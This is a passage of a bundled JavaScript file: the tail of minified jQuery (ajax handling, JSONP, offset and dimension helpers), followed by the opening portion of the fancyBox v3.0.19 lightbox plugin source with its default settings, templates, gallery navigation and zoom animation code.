q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Wt(Pt,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<S.inArray("script",v.dataTypes)&&S.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(S.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(S.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--S.active||S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script")}}),S.each(["get","post"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Bt={0:200,1223:204},$t=S.ajaxSettings.xhr();y.cors=!!$t&&"withCredentials"in $t,y.ajax=$t=!!$t,S.ajaxTransport(function(i){var o,a;if(y.cors||$t&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Bt[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),S.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=ht(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&S.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?S("<div>").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Xt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?"":(e+"").replace(Xt,"")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return S});var Vt=C.jQuery,Gt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Gt),e&&C.jQuery===S&&(C.jQuery=Vt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S});
// ==================================================
// fancyBox v3.0.19
//
// Licensed GPLv3 for open source use
// or fancyBox Commercial License for commercial use
//
// http://fancyapps.com/fancybox/
// Copyright 2017 fancyApps
//
// ==================================================
;(function (window, document, $, undefined) {
'use strict';
// If there's no jQuery, fancyBox can't work
// =========================================
if ( !$ ) {
return undefined;
}
// Private default settings
// ========================
var defaults = {
// Animation duration in ms
speed : 330,
// Enable infinite gallery navigation
loop : true,
// Should zoom animation change opacity, too
// If opacity is 'auto', then fade-out if image and thumbnail have different aspect ratios
opacity : 'auto',
// Space around image, ignored if zoomed-in or viewport smaller than 800px
margin : [44, 0],
// Horizontal space between slides
gutter : 30,
// Should display toolbars
infobar : true,
buttons : true,
// What buttons should appear in the toolbar
slideShow : true,
fullScreen : true,
thumbs : true,
closeBtn : true,
// Should apply small close button at top right corner of the content
// If 'auto' - will be set for content having type 'html', 'inline' or 'ajax'
smallBtn : 'auto',
image : {
// Wait for images to load before displaying
// Requires predefined image dimensions
// If 'auto' - will zoom in thumbnail if 'width' and 'height' attributes are found
preload : "auto",
// Protect an image from downloading by right-click
protect : false
},
ajax : {
// Object containing settings for ajax request
settings : {
// This helps to indicate that request comes from the modal
// Feel free to change naming
data : {
fancybox : true
}
}
},
iframe : {
// Iframe template
tpl : '<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',
// Preload iframe before displaying it
// This allows to calculate iframe content width and height
// (note: Due to "Same Origin Policy", you can't get cross domain data).
preload : true,
// Scrolling attribute for iframe tag
scrolling : 'no',
// Custom CSS styling for iframe wrapping element
css : {}
},
// Custom CSS class for layout
baseClass : '',
// Custom CSS class for slide element
slideClass : '',
// Base template for layout
baseTpl : '<div class="fancybox-container" role="dialog" tabindex="-1">' +
'<div class="fancybox-bg"></div>' +
'<div class="fancybox-controls">' +
'<div class="fancybox-infobar">' +
'<button data-fancybox-previous class="fancybox-button fancybox-button--left" title="Previous"></button>' +
'<div class="fancybox-infobar__body">' +
'<span class="js-fancybox-index"></span>&nbsp;/&nbsp;<span class="js-fancybox-count"></span>' +
'</div>' +
'<button data-fancybox-next class="fancybox-button fancybox-button--right" title="Next"></button>' +
'</div>' +
'<div class="fancybox-buttons">' +
'<button data-fancybox-close class="fancybox-button fancybox-button--close" title="Close (Esc)"></button>' +
'</div>' +
'</div>' +
'<div class="fancybox-slider-wrap">' +
'<div class="fancybox-slider"></div>' +
'</div>' +
'<div class="fancybox-caption-wrap"><div class="fancybox-caption"></div></div>' +
'</div>',
// Loading indicator template
spinnerTpl : '<div class="fancybox-loading"></div>',
// Error message template
errorTpl : '<div class="fancybox-error"><p>The requested content cannot be loaded. <br /> Please try again later.<p></div>',
closeTpl : '<button data-fancybox-close class="fancybox-close-small">×</button>',
// Container is injected into this element
parentEl : 'body',
// Enable gestures (tap, zoom, pan and pinch)
touch : true,
// Enable keyboard navigation
keyboard : true,
// Try to focus on first focusable element after opening
focus : true,
// Close when clicked outside of the content
closeClickOutside : true,
// Callbacks
beforeLoad : $.noop,
afterLoad : $.noop,
beforeMove : $.noop,
afterMove : $.noop,
onComplete : $.noop,
onInit : $.noop,
beforeClose : $.noop,
afterClose : $.noop,
onActivate : $.noop,
onDeactivate : $.noop
};
var $W = $(window);
var $D = $(document);
var called = 0;
// Check if an object is a jQuery object and not a native JavaScript object
// ========================================================================
var isQuery = function (obj) {
return obj && obj.hasOwnProperty && obj instanceof $;
};
// Handle multiple browsers for requestAnimationFrame()
// ====================================================
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
// Check if element is inside the viewport by at least 1 pixel
// ===========================================================
var isElementInViewport = function( el ) {
var rect;
if ( typeof $ === "function" && el instanceof $ ) {
el = el[0];
}
rect = el.getBoundingClientRect();
return rect.bottom > 0 &&
rect.right > 0 &&
rect.left < (window.innerWidth || document.documentElement.clientWidth) &&
rect.top < (window.innerHeight || document.documentElement.clientHeight);
};
// Class definition
// ================
var FancyBox = function( content, opts, index ) {
var self = this;
self.opts = $.extend( true, { index : index }, defaults, opts || {} );
self.id = self.opts.id || ++called;
self.group = [];
self.currIndex = parseInt( self.opts.index, 10 ) || 0;
self.prevIndex = null;
// Create group elements from original item collection
self.createGroup( content );
if ( !self.group.length ) {
return;
}
// Save last active element and current scroll position
self.$lastFocus = $(document.activeElement);
// Collection of interface DOM elements
self.elems = {};
// Collection of gallery objects
self.slides = {};
self.init( content );
};
$.extend(FancyBox.prototype, {
// Create DOM structure
// ====================
init : function() {
var self = this;
var testWidth;
var $container;
self.scrollTop = $W.scrollTop();
self.scrollLeft = $W.scrollLeft();
// Disable compensating on touch-enabled devices as they probably do not have scrollbars anyway
// and therefore we avoid of unnecessary layout reflow
if ( !$.fancybox.isTouch && !$( 'body' ).hasClass( 'fancybox-enabled' ) ) {
testWidth = $( 'body' ).width();
testWidth = $( 'body' ).addClass( 'fancybox-enabled' ).width() - testWidth;
// Body width has increased - compensate missing scrollbars
if ( testWidth > 1 ) {
$( '<style id="fancybox-noscroll" type="text/css">' ).html( '.compensate-for-scrollbar, .fancybox-enabled { margin-right: ' + testWidth + 'px; }' ).appendTo( 'head' );
}
}
$container = $( self.opts.baseTpl )
.attr('id', 'fancybox-container-' + self.id)
.data( 'FancyBox', self )
.addClass( self.opts.baseClass )
.hide()
.prependTo( self.opts.parentEl );
// Create object holding references to jQuery wrapped nodes
self.$refs = {
container : $container,
bg : $container.find('.fancybox-bg'),
controls : $container.find('.fancybox-controls'),
buttons : $container.find('.fancybox-buttons'),
slider_wrap : $container.find('.fancybox-slider-wrap'),
slider : $container.find('.fancybox-slider'),
caption : $container.find('.fancybox-caption')
};
self.prevPos = null;
self.currPos = 0;
self.allowZoomIn = true;
self.trigger( 'onInit' );
// Bring to front and enable events
self.activate();
// Try to avoid running multiple times
if ( self.current ) {
return;
}
self.jumpTo( self.currIndex );
},
// Create array of gally item objects
// Check if each object has valid type and content
// ===============================================
createGroup : function ( content ) {
var self = this;
var items = $.makeArray( content );
$.each(items, function( i, item ) {
var obj = {},
opts = {},
$item,
data,
type,
src,
srcParts;
// Step 1 - Make sure we have an object
if ( $.isPlainObject( item ) ) {
obj = item;
opts = item.opts || {};
} else if ( $.type( item ) === 'object' && $( item ).length ) {
$item = $( item );
data = $item.data();
opts = 'options' in data ? data.options : {};
opts = $.type( opts ) === 'object' ? opts : {};
obj.type = 'type' in data ? data.type : opts.type;
obj.src = 'src' in data ? data.src : ( opts.src || $item.attr( 'href' ) );
opts.width = 'width' in data ? data.width : opts.width;
opts.height = 'height' in data ? data.height : opts.height;
opts.thumb = 'thumb' in data ? data.thumb : opts.thumb;
opts.caption = 'caption' in data ? data.caption : ( opts.caption || $item.attr( 'title' ) );
opts.selector = 'selector' in data ? data.selector : opts.selector;
opts.$orig = $item;
} else {
obj = {
type : 'html',
content : item + ''
};
}
obj.opts = $.extend( true, {}, self.opts, opts );
// Step 2 - Make sure we have supported content type
type = obj.type;
src = obj.src || '';
if ( !type ) {
if ( obj.content ) {
type = 'html';
} else if ( src.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i) ) {
type = 'image';
} else if ( src.match(/\.(pdf)((\?|#).*)?$/i) ) {
type = 'pdf';
} else if ( src.charAt(0) === '#' ) {
type = 'inline';
}
obj.type = type;
}
// Step 3 - Some adjustments
obj.index = self.group.length;
// Check if $orig and $thumb objects exist
if ( obj.opts.$orig && !obj.opts.$orig.length ) {
delete obj.opts.$orig;
}
if ( !obj.opts.$thumb && obj.opts.$orig ) {
obj.opts.$thumb = obj.opts.$orig.find( 'img:first' );
}
if ( obj.opts.$thumb && !obj.opts.$thumb.length ) {
delete obj.opts.$thumb;
}
// Make sure we have caption as a string
if ( $.type( self.opts.caption ) === 'function' ) {
obj.opts.caption = self.opts.caption.apply( item, [ self, obj ] );
} else {
obj.opts.caption = obj.opts.caption === undefined ? '' : obj.opts.caption + '';
}
// Check if url contains selector used to filter the content
// Example: "ajax.html #something"
if ( type === 'ajax' ) {
srcParts = src.split(/\s+/, 2);
if ( srcParts.length > 1 ) {
obj.src = srcParts.shift();
obj.opts.selector = srcParts.shift();
}
}
if ( obj.opts.smallBtn == 'auto' ) {
if ( $.inArray( type, ['html', 'inline', 'ajax'] ) > -1 ) {
obj.opts.buttons = false;
obj.opts.smallBtn = true;
} else {
obj.opts.smallBtn = false;
}
}
if ( type === 'pdf' ) {
obj.type = 'iframe';
obj.opts.closeBtn = true;
obj.opts.smallBtn = false;
obj.opts.iframe.preload = false;
}
if ( obj.opts.modal ) {
$.extend(true, obj.opts, {
infobar : 0,
buttons : 0,
keyboard : 0,
slideShow : 0,
fullScreen : 0,
closeClickOutside : 0
});
}
self.group.push( obj );
});
},
// Attach an event handler functions for:
// - navigation elements
// - browser scrolling, resizing;
// - focusing
// - keyboard
// =================
addEvents : function() {
var self = this;
var runUpdate = function () {
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
self.$refs.slider_wrap.show();
self.update();
};
self.removeEvents();
// Make navigation elements clickable
self.$refs.container.on('click.fb-close', '[data-fancybox-close]', function(e) {
e.stopPropagation();
e.preventDefault();
self.close( e );
}).on('click.fb-previous', '[data-fancybox-previous]', function(e) {
e.stopPropagation();
e.preventDefault();
self.previous();
}).on('click.fb-next', '[data-fancybox-next]', function(e) {
e.stopPropagation();
e.preventDefault();
self.next();
});
// Handle page scrolling and browser resizing
$( window ).on('orientationchange.fb resize.fb', function(e) {
requestAFrame(function() {
if ( e.type == "orientationchange" ) {
self.$refs.slider_wrap.hide();
requestAFrame( runUpdate );
} else {
runUpdate();
}
});
});
// Trap focus
$D.on('focusin.fb', function(e) {
var instance;
if ( $.fancybox ) {
instance = $.fancybox.getInstance();
if ( instance && !$( e.target ).hasClass( 'fancybox-container' ) && !$.contains( instance.$refs.container[0], e.target ) ) {
e.stopPropagation();
instance.focus();
}
}
});
// Enable keyboard navigation
$( document ).on('keydown.fb', function (e) {
var current = self.current,
keycode = e.keyCode || e.which;
if ( !current || !current.opts.keyboard ) {
return;
}
if ( $(e.target).is('input') || $(e.target).is('textarea') ) {
return;
}
// Backspace and Esc keys
if ( keycode === 8 || keycode === 27 ) {
e.preventDefault();
self.close();
return;
}
switch ( keycode ) {
case 37: // Left arrow
case 38: // Up arrow
e.preventDefault();
self.previous();
break;
case 39: // Right arrow
case 40: // Down arrow
e.preventDefault();
self.next();
break;
case 80: // "P"
case 32: // Spacebar
e.preventDefault();
if ( self.SlideShow ) {
e.preventDefault();
self.SlideShow.toggle();
}
break;
case 70: // "F"
if ( self.FullScreen ) {
e.preventDefault();
self.FullScreen.toggle();
}
break;
case 71: // "G"
if ( self.Thumbs ) {
e.preventDefault();
self.Thumbs.toggle();
}
break;
}
});
},
// Remove events added by the core
// ===============================
removeEvents : function () {
$W.off( 'scroll.fb resize.fb orientationchange.fb' );
$D.off( 'keydown.fb focusin.fb click.fb-close' );
this.$refs.container.off('click.fb-close click.fb-previous click.fb-next');
},
// Slide to left
// ==================
previous : function( duration ) {
if ( this.current.opts.loop || this.currIndex > 0 ) {
this.jumpTo( this.currIndex - 1, duration );
} else {
this.update( false, false, duration );
}
},
// Slide to right
// ===================
next : function( duration ) {
if ( this.current.opts.loop || this.currIndex < this.group.length - 1 ) {
this.jumpTo( this.currIndex + 1, duration );
} else {
this.update( false, false, duration );
}
},
// Display current gallery item, move slider to current position
// =============================================================
jumpTo : function ( to, duration ) {
var self = this,
firstRun = self.prevIndex === null,
index,
pos;
to = parseInt( to, 10 );
index = to;
pos = to;
index = index % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( self.isAnimating || ( index == self.currIndex && !firstRun ) ) {
return;
}
if ( self.group.length > 1 && !firstRun ) {
// Calculate closest position of upcoming item from the current one
if ( self.group.length == 2 ) {
pos = to - self.currIndex + self.currPos;
} else {
pos = index - self.currIndex + self.currPos;
if ( Math.abs( self.currPos - ( pos + self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos + self.group.length;
} else if ( Math.abs( self.currPos - ( pos - self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos - self.group.length;
}
}
}
self.prevIndex = self.currIndex;
self.prevPos = self.currPos;
self.currIndex = index;
self.currPos = pos;
// Create slides
self.createSlide( pos );
if ( self.group.length > 1 ) {
if ( self.opts.loop || pos - 1 >= 0 ) {
self.createSlide( pos - 1 );
}
if ( self.opts.loop || pos + 1 < self.group.length ) {
self.createSlide( pos + 1 );
}
}
self.current = self.slides[ pos ];
self.current.isMoved = false;
self.current.isComplete = false;
duration = parseInt( duration === undefined ? self.current.opts.speed * 1.5 : duration, 10 );
// Move slider to the next position
// Note: the content might still be loading
self.trigger( 'beforeMove' );
self.updateControls();
if ( firstRun ) {
self.current.$slide.addClass('fancybox-slide--current');
self.$refs.container.show();
self.$refs.bg.css('transition-duration', ( duration + 90 ) + 'ms').hide().show(0);
self.$refs.container.addClass( 'fancybox-container--ready' );
} else {
self.$refs.slider.children().removeClass('fancybox-slide--current fancybox-slide--complete');
}
// Set position immediately on first opening
self.update( true, false, firstRun ? 0 : duration, function() {
self.afterMove();
});
self.loadSlide( self.current );
},
// Create new "slide" element
// These are gallery items that are actually added to DOM
// =======================================================
createSlide : function( pos ) {
var self = this;
var $slide;
var index;
index = pos % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( !self.slides[ pos ] && self.group[ index ] ) {
$slide = $('<div class="fancybox-slide"></div>').appendTo( self.$refs.slider );
self.slides[ pos ] = $.extend( true, {}, self.group[ index ], {
pos : pos,
$slide : $slide,
isMoved : false,
isLoaded : false
});
}
},
zoomInOut : function( type, duration, callback ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var opacity = current.opts.opacity;
var $thumb = current.opts.$thumb;
var thumbPos = $thumb ? $thumb.offset() : 0;
var slidePos = current.$slide.offset();
var props;
var start;
var end;
if ( !$what || !thumbPos || !isElementInViewport( $thumb ) ) {
return false;
}
$.fancybox.stop( $what );
self.isAnimating = true;
props = {
top : thumbPos.top - slidePos.top + parseFloat( $thumb.css( "border-top-width" ) || 0 ),
left : thumbPos.left - slidePos.left + parseFloat( $thumb.css( "border-left-width" ) || 0 ),
width : $thumb.width(),
height : $thumb.height(),
scaleX : 1,
scaleY : 1
};
// Check if we need to animate opacity
if ( opacity == 'auto' ) {
opacity = Math.abs( current.width / current.height - props.width / props.height ) > 0.1;
}
if ( type === 'In' ) {
start = props;
end = self.getFitPos( current );
end.scaleX = end.width / start.width;
end.scaleY = end.height / start.height;
if ( opacity ) {
start.opacity = 0.1;
end.opacity = 1;
}
} else {
start = $.fancybox.getTranslate( $what );
end = props;
// Switch to thumbnail image to improve animation performance
if ( current.$ghost ) {
current.$ghost.show();
if ( current.$image ) {
current.$image.remove();
}
}
start.scaleX = start.width / end.width;
start.scaleY = start.height / end.height;
start.width = end.width;
start.height = end.height;
if ( opacity ) {
end.opacity = 0;
}
}
self.updateCursor( end.width, end.height );
// There is no need to animate width/height
delete end.width;
delete end.height;
$.fancybox.setTranslate( $what, start );
$what.show();
self.trigger( 'beforeZoom' + type );
setTimeout(function() {
$what.css( 'transition', 'all ' + duration + 'ms' );
$.fancybox.setTranslate( $what, end );
setTimeout(function() {
$what.css( 'transition', 'none' );
self.trigger( 'afterZoom' + type );
callback();
self.isAnimating = false;
}, duration + 20 );
}, 70);
return true;
},
// Start "zoom-in" animation if possible
// =====================================
zoomIn : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
self.allowZoomIn = false;
self.isOpening = true;
return self.zoomInOut( 'In', current.opts.speed, function() {
var reset = $.fancybox.getTranslate( $what );
reset.scaleX = 1;
reset.scaleY = 1;
// Reset scalex/scaleY values; this helps for perfomance
$.fancybox.setTranslate( $what, reset );
self.isOpening = false;
self.update( false, true, 0 );
if ( current.$ghost ) {
self.setBigImage( current );
}
});
},
// Start "zoom-out" animation if possible
// ======================================
zoomOut : function( callback ) {
var self = this;
var current = self.current;
if ( self.zoomInOut( 'Out', current.opts.speed, callback ) ) {
self.$refs.bg.css('transition-duration', current.opts.speed + 'ms');
this.$refs.container.removeClass( 'fancybox-container--ready' );
return true;
}
return false;
},
// Check if image dimensions exceed parent element
// ===============================================
canPan : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = self.getFitPos( current );
rez = Math.abs( $what.width() - rez.width ) > 1 || Math.abs( $what.height() - rez.height ) > 1;
}
return rez;
},
// Check if current image dimensions are smaller than actual
// =========================================================
isScaledDown : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = $.fancybox.getTranslate( $what );
rez = rez.width < current.width || rez.height < current.height;
}
return rez;
},
